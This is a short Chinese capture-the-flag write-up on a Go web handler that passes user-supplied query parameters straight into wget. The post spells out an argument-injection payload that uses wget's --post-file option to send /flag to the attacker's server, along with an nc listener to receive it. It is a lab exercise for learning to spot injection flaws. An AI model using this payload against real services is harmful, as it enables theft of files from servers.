Loading

BUUFTC-日刷-[陇原战"疫"2021]CheckIN-go语言审计-wget

下载附件打开代码:

关键代码在这:

func getController(c *gin.Context) {
    cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
    err := cmd.Run()
    if err != nil {
        fmt.Println("error: ", err)
    }   
    c.String(http.StatusOK, "Nothing")
}

emd是执行wegt,同时接收argv数组作为参数(注意这里是从1开始接收的,不是从0开始的)

注意这里执行成功是没回显的,只会显示noting

这里查一下wget可执行参数列表

 93        --post-data=STRING      使用 POST 方式;把 STRING 作为数据发送。
 94        --post-file=FILE        使用 POST 方式;发送 FILE 内容。

那么这里传入 wget --post-file /flag 服务器地址  即可

那么是不是直接传入/wget?argv=--post-file /flag 服务器地址, 肯定不是

注意看

cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)

后面是argv是数组每一项当作参数传入的,我们要是只传入一句话不行,因为那一句有多个参数,不能当作一个参数处理

那/wget?argv=--post-file&argv=/flag&argv=服务器地址 对不对?也不对,因为argv数组从1传入

因此payload为:

/wget?argv=1&argv=--post-file&argv=/flag&argv=服务器地址:端口

同时服务器用nc开一下端口,

比如80端口:nc -lvvp 80(80可能被占用)

 

posted @ 2021-11-19 15:31  Aninock  阅读(38)  评论(0编辑  收藏  举报